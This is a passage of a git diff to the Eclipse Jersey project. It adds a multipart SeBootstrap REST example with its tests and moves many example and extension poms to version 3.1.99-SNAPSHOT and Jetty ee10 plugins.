+ <groupId>org.glassfish.jersey.inject</groupId> + <artifactId>jersey-hk2</artifactId> + </dependency> + <dependency> + <groupId>jakarta.xml.bind</groupId> + <artifactId>jakarta.xml.bind-api</artifactId> + </dependency> + <dependency> + <groupId>com.sun.xml.bind</groupId> + <artifactId>jaxb-osgi</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.containers</groupId> + <artifactId>jersey-container-jdk-http</artifactId> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework</groupId> + <artifactId>jersey-test-framework-core</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework</groupId> + <artifactId>jersey-test-framework-util</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.junit.jupiter</groupId> + <artifactId>junit-jupiter</artifactId> + <scope>test</scope> + </dependency> + <dependency> + <groupId>org.glassfish.jersey.test-framework.providers</groupId> + <artifactId>jersey-test-framework-provider-grizzly2</artifactId> + <scope>test</scope> + </dependency> + </dependencies> + + <build> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>exec-maven-plugin</artifactId> + <configuration> + <mainClass>org.glassfish.jersey.examples.multipart.webapp.Main</mainClass> + </configuration> + </plugin> + </plugins> + </build> + + <profiles> + <profile> + <id>pre-release</id> + <build> + <plugins> + <plugin> + <groupId>org.codehaus.mojo</groupId> + <artifactId>xml-maven-plugin</artifactId> + </plugin> + <plugin> + <groupId>org.apache.maven.plugins</groupId> + <artifactId>maven-assembly-plugin</artifactId> + </plugin> + </plugins> + </build> + </profile> + </profiles> + +</project>
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java new file mode 100644 index 0000000..458222b --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Bean.java
@@ -0,0 +1,27 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.xml.bind.annotation.XmlRootElement; + +@XmlRootElement +public class Bean { + + public String value; + + public Bean() { + } + + public Bean(String str) { + value = str; + } + +}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java new file mode 100644 index 0000000..5dbcfd0 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/Main.java
@@ -0,0 +1,37 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.SeBootstrap; + +import java.io.IOException; +import java.util.concurrent.ExecutionException; + +public class Main { + public static void main(String[] args) throws ExecutionException, InterruptedException { + final SeBootstrap.Configuration.Builder bootstrapConfigurationBuilder = SeBootstrap.Configuration.builder(); + bootstrapConfigurationBuilder.property(SeBootstrap.Configuration.PORT, 8080); + + SeBootstrap.start(new MyApplication(), bootstrapConfigurationBuilder.build()) + .whenComplete((instance1, throwable) -> { + try { + System.out.println("Press enter to exit"); + System.in.read(); + } catch (IOException e) { + throw new RuntimeException(e); + } + }).thenAccept((i) -> i.stop()) + + .toCompletableFuture().get(); + + System.out.println("Exiting..."); + } +}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java new file mode 100644 index 0000000..dec7d0e --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartResource.java
@@ -0,0 +1,55 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.Consumes; +import jakarta.ws.rs.FormParam; +import jakarta.ws.rs.GET; +import jakarta.ws.rs.POST; +import jakarta.ws.rs.Path; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.MediaType; + +import java.io.IOException; + +@Path("/form") +public class MultiPartResource { + + @GET + @Path("test") + public String test() { + return "Test successful"; + } + + @POST + @Path("part") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post(@FormParam("part") String s) { + return s; + } + + @POST + @Path("part-file-name") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post(@FormParam("part")EntityPart entityPart) throws IOException { + return entityPart.getContent(String.class) + ":" + entityPart.getFileName().get(); + } + + @POST + @Path("xml-jaxb-part") + @Consumes(MediaType.MULTIPART_FORM_DATA) + public String post( + @FormParam("string") EntityPart stringEntityPart, + @FormParam("bean") EntityPart beanEntityPart) throws IOException { + return stringEntityPart.getContent(String.class) + ":" + stringEntityPart.getFileName().get() + "," + + beanEntityPart.getContent(Bean.class).value + ":" + beanEntityPart.getFileName().get(); + } +}
diff --git a/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java new file mode 100644 index 0000000..d9d7f30 --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/main/java/org/glassfish/jersey/examples/multipart/webapp/MyApplication.java
@@ -0,0 +1,23 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import jakarta.ws.rs.ApplicationPath; + +import org.glassfish.jersey.server.ResourceConfig; + +@ApplicationPath("/multipart-webapp") +public class MyApplication extends ResourceConfig { + + public MyApplication() { + super(MultiPartResource.class); + } +}
diff --git a/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java new file mode 100644 index 0000000..218923f --- /dev/null +++ b/examples/rest31-sebootstrap-multipart/src/test/java/org/glassfish/jersey/examples/multipart/webapp/MultiPartWebAppTest.java
@@ -0,0 +1,131 @@ +/* + * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Distribution License v. 1.0, which is available at + * http://www.eclipse.org/org/documents/edl-v10.php. + * + * SPDX-License-Identifier: BSD-3-Clause + */ + +package org.glassfish.jersey.examples.multipart.webapp; + +import java.io.File; +import java.io.IOException; +import java.net.URI; +import java.util.List; + +import jakarta.ws.rs.ApplicationPath; +import jakarta.ws.rs.client.Entity; +import jakarta.ws.rs.client.WebTarget; +import jakarta.ws.rs.core.Application; +import jakarta.ws.rs.core.EntityPart; +import jakarta.ws.rs.core.GenericEntity; +import jakarta.ws.rs.core.MediaType; +import jakarta.ws.rs.core.Response; +import jakarta.ws.rs.core.UriBuilder; + +import javax.xml.parsers.DocumentBuilder; +import javax.xml.parsers.DocumentBuilderFactory; +import javax.xml.xpath.XPath; +import javax.xml.xpath.XPathConstants; +import javax.xml.xpath.XPathFactory; + +import org.glassfish.jersey.client.ClientConfig; +import org.glassfish.jersey.internal.util.SaxHelper; +import org.glassfish.jersey.internal.util.SimpleNamespaceResolver; +import org.glassfish.jersey.test.JerseyTest; + +import org.junit.jupiter.api.Test; +import org.w3c.dom.Document; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +/** + * Tests for {@code MultipartResource} class. + * + * @author Naresh (Srinivas Bhimisetty) + * @author Michal Gajdos + */ +public class MultiPartWebAppTest extends JerseyTest { + + public static final String PATH = MyApplication.class.getAnnotation(ApplicationPath.class).value(); + + @Override + protected URI getBaseUri() { + return UriBuilder.fromUri(super.getBaseUri()).path(PATH).build(); + } + + @Override + protected Application configure() { + return new MyApplication(); + } + + @Test + public void testApplicationWadl() throws Exception { + final WebTarget target = target().path(PATH + "/application.wadl"); + + final Response response = target.request().get(); + assertEquals(200, response.getStatus()); + final File tmpFile = response.readEntity(File.class); + + final DocumentBuilderFactory bf = DocumentBuilderFactory.newInstance(); + bf.setNamespaceAware(true); + bf.setValidating(false); + + if (!SaxHelper.isXdkDocumentBuilderFactory(bf)) { + bf.setXIncludeAware(false); + } + + final DocumentBuilder b = bf.newDocumentBuilder(); + final Document d = b.parse(tmpFile); + + final XPath xp = XPathFactory.newInstance().newXPath(); + xp.setNamespaceContext(new SimpleNamespaceResolver("wadl", "http://wadl.dev.java.net/2009/02")); + String val = (String) xp.evaluate( + "//wadl:resource[@path='part']/wadl:method[@name='POST']/wadl:request/wadl:representation/@mediaType", + d, XPathConstants.STRING); + + assertEquals("multipart/form-data", val); + } + + @Test + public void testPart() throws IOException { + final WebTarget target = target().path(PATH + "/form/part"); + + final EntityPart entityPart = EntityPart.withName("part").content("CONTENT", String.class).build(); + final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("CONTENT", s); + } + + @Test + public void testPartWithFileName() throws IOException { + final WebTarget target = target().path(PATH + "/form/part-file-name"); + + final EntityPart entityPart = EntityPart.withName("part").fileName("file").content("CONTENT", String.class).build(); + final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("CONTENT:file", s); + } + + @Test + public void testXmlJAXBPart() throws IOException { + final WebTarget target = target().path(PATH + "/form/xml-jaxb-part"); + + final EntityPart entityPart1 = EntityPart.withName("bean").fileName("bean") + .content(new Bean("BEAN"), Bean.class) + .mediaType(MediaType.APPLICATION_XML_TYPE) + .build(); + final EntityPart entityPart2 = EntityPart.withName("string").fileName("string") + .content("STRING", String.class) + .build(); + + final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart1, entityPart2)) {}; + + final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class); + assertEquals("STRING:string,BEAN:bean", s); + } +}
diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml index 9fb7b2c..63a527d 100644 --- a/examples/rx-client-webapp/pom.xml +++ b/examples/rx-client-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>rx-client-webapp</artifactId> @@ -66,8 +66,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" --> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> </plugin> </plugins> </build>
diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml index 633a692..bbb3103 100644 --- a/examples/server-async-managed/pom.xml +++ b/examples/server-async-managed/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-async-managed</artifactId>
diff --git a/examples/server-async-standalone/client/pom.xml b/examples/server-async-standalone/client/pom.xml index 7978e51..5996f3a 100644 --- a/examples/server-async-standalone/client/pom.xml +++ b/examples/server-async-standalone/client/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>server-async-standalone</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-async-standalone-client</artifactId>
diff --git a/examples/server-async-standalone/pom.xml b/examples/server-async-standalone/pom.xml index 8f8a4e8..f8c2a02 100644 --- a/examples/server-async-standalone/pom.xml +++ b/examples/server-async-standalone/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-async-standalone</artifactId>
diff --git a/examples/server-async-standalone/webapp/pom.xml b/examples/server-async-standalone/webapp/pom.xml index 7e0e602..c3418fd 100644 --- a/examples/server-async-standalone/webapp/pom.xml +++ b/examples/server-async-standalone/webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>server-async-standalone</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-async-standalone-webapp</artifactId>
diff --git a/examples/server-async/pom.xml b/examples/server-async/pom.xml index b7e53e4..00c18b2 100644 --- a/examples/server-async/pom.xml +++ b/examples/server-async/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-async</artifactId>
diff --git a/examples/server-sent-events-jaxrs/pom.xml b/examples/server-sent-events-jaxrs/pom.xml index 1308d80..0372d33 100644 --- a/examples/server-sent-events-jaxrs/pom.xml +++ b/examples/server-sent-events-jaxrs/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-sent-events-jaxrs</artifactId>
diff --git a/examples/server-sent-events-jersey/pom.xml b/examples/server-sent-events-jersey/pom.xml index 5f82dca..c465e97 100644 --- a/examples/server-sent-events-jersey/pom.xml +++ b/examples/server-sent-events-jersey/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>server-sent-events-jersey</artifactId>
diff --git a/examples/servlet3-webapp/pom.xml b/examples/servlet3-webapp/pom.xml index 1e2a7db..51b85c2 100644 --- a/examples/servlet3-webapp/pom.xml +++ b/examples/servlet3-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>servlet3-webapp</artifactId> @@ -37,7 +37,6 @@ <dependency> <groupId>jakarta.servlet</groupId> <artifactId>jakarta.servlet-api</artifactId> - <version>${servlet5.version}</version> <scope>provided</scope> </dependency> @@ -62,8 +61,8 @@ <!-- <artifactId>maven-failsafe-plugin</artifactId>--> <!-- </plugin>--> <plugin> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <!-- <skip>${skip.tests}</skip>--> <!-- <stopWait>10</stopWait>-->
diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml index b1e17d4..49285d2 100644 --- a/examples/simple-console/pom.xml +++ b/examples/simple-console/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>simple-console</artifactId>
diff --git a/examples/sse-item-store-jaxrs-webapp/pom.xml b/examples/sse-item-store-jaxrs-webapp/pom.xml index 58c0837..7724a48 100644 --- a/examples/sse-item-store-jaxrs-webapp/pom.xml +++ b/examples/sse-item-store-jaxrs-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>sse-item-store-jaxrs-webapp</artifactId> @@ -56,9 +56,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" --> <plugin> - <!-- TODO unify Jetty in all examples --> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <stopWait>10</stopWait> <stopPort>9999</stopPort>
diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml index 2bac026..0c5c1e9 100644 --- a/examples/sse-item-store-jersey-webapp/pom.xml +++ b/examples/sse-item-store-jersey-webapp/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -19,7 +19,7 @@ <groupId>org.glassfish.jersey.examples</groupId> <artifactId>webapp-example-parent</artifactId> <relativePath>../webapp-example-parent/pom.xml</relativePath> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>sse-item-store-jersey-webapp</artifactId> @@ -56,9 +56,8 @@ <plugins> <!-- Run the application using "mvn jetty:run" --> <plugin> - <!-- TODO unify Jetty in all examples --> - <groupId>org.eclipse.jetty</groupId> - <artifactId>jetty-maven-plugin</artifactId> + <groupId>org.eclipse.jetty.ee10</groupId> + <artifactId>jetty-ee10-maven-plugin</artifactId> <configuration> <stopWait>10</stopWait> <stopPort>9999</stopPort>
diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml index 601d9d2..d22fcfc 100644 --- a/examples/sse-twitter-aggregator/pom.xml +++ b/examples/sse-twitter-aggregator/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>sse-twitter-aggregator</artifactId>
diff --git a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java index a3e6788..ebde366 100644 --- a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java +++ b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
@@ -13,7 +13,7 @@ import java.io.IOException; import java.io.InputStream; import java.nio.file.Files; -import java.nio.file.Paths; +import java.nio.file.Path; import java.util.HashMap; import java.util.Properties; import java.util.logging.Level; @@ -144,7 +144,7 @@ InputStream st = null; try { String homeDir = System.getProperty("user.home"); - st = Files.newInputStream(Paths.get(homeDir, TWITTER_PROPERTIES_FILE_NAME)); + st = Files.newInputStream(Path.of(homeDir, TWITTER_PROPERTIES_FILE_NAME)); properties.load(st); } catch (IOException e) { // ignore @@ -230,7 +230,7 @@ try { fileStream = webRootPath == null ? App.class.getResourceAsStream(WEB_ROOT + uri) - : Files.newInputStream(Paths.get(webRootPath, uri)); + : Files.newInputStream(Path.of(webRootPath, uri)); } catch (IOException e) { fileStream = null; }
diff --git a/examples/system-properties-example/pom.xml b/examples/system-properties-example/pom.xml index aa3d103..17fc7e9 100644 --- a/examples/system-properties-example/pom.xml +++ b/examples/system-properties-example/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -17,7 +17,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>system-properties-example</artifactId>
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml index ebcde20..277b61d 100644 --- a/examples/webapp-example-parent/pom.xml +++ b/examples/webapp-example-parent/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -18,7 +18,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>webapp-example-parent</artifactId>
diff --git a/examples/xml-moxy/pom.xml b/examples/xml-moxy/pom.xml index 2a27259..dcc65d9 100644 --- a/examples/xml-moxy/pom.xml +++ b/examples/xml-moxy/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Distribution License v. 1.0, which is available at @@ -16,7 +16,7 @@ <parent> <groupId>org.glassfish.jersey.examples</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>xml-moxy</artifactId>
diff --git a/ext/bean-validation/pom.xml b/ext/bean-validation/pom.xml index 743a933..b794e01 100644 --- a/ext/bean-validation/pom.xml +++ b/ext/bean-validation/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0"?> <!-- - Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved. Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the @@ -24,7 +24,7 @@ <parent> <groupId>org.glassfish.jersey.ext</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <artifactId>jersey-bean-validation</artifactId> @@ -59,6 +59,7 @@ ${jakarta.annotation.osgi.version}, ${cdi.osgi.version}, jakarta.validation.*;resolution:=optional;version="${range;[==,4);${jakarta.validation.api.version}}", + jakarta.decorator.*;version="[3.0,5)", * </Import-Package> </instructions> @@ -134,10 +135,15 @@ <groupId>jakarta.el</groupId> <artifactId>jakarta.el-api</artifactId> </dependency> - <dependency> - <groupId>org.glassfish</groupId> - <artifactId>jakarta.el</artifactId> + <groupId>org.glassfish.expressly</groupId> + <artifactId>expressly</artifactId> + <exclusions> + <exclusion> + <groupId>jakarta.el</groupId> + <artifactId>jakarta.el-api</artifactId> + </exclusion> + </exclusions> </dependency> <dependency> @@ -147,17 +153,4 @@ <scope>test</scope> </dependency> </dependencies> - - <profiles> - <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <properties> - <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version> - </properties> - </profile> - </profiles> - -</project> +</project> \ No newline at end of file
diff --git a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown index 0e566a0..07e6ca5 100644 --- a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown +++ b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
@@ -31,7 +31,7 @@ ## Third-party Content -Hibernate Validator CDI, 7.0.5.Final +Hibernate Validator CDI, 8.0.1.Final * License: Apache License, 2.0 * Project: https://beanvalidation.org/ -* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate \ No newline at end of file +* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/ext/cdi/jersey-cdi-rs-inject/pom.xml b/ext/cdi/jersey-cdi-rs-inject/pom.xml index 7fbd6c3..bcf7555 100644 --- a/ext/cdi/jersey-cdi-rs-inject/pom.xml +++ b/ext/cdi/jersey-cdi-rs-inject/pom.xml
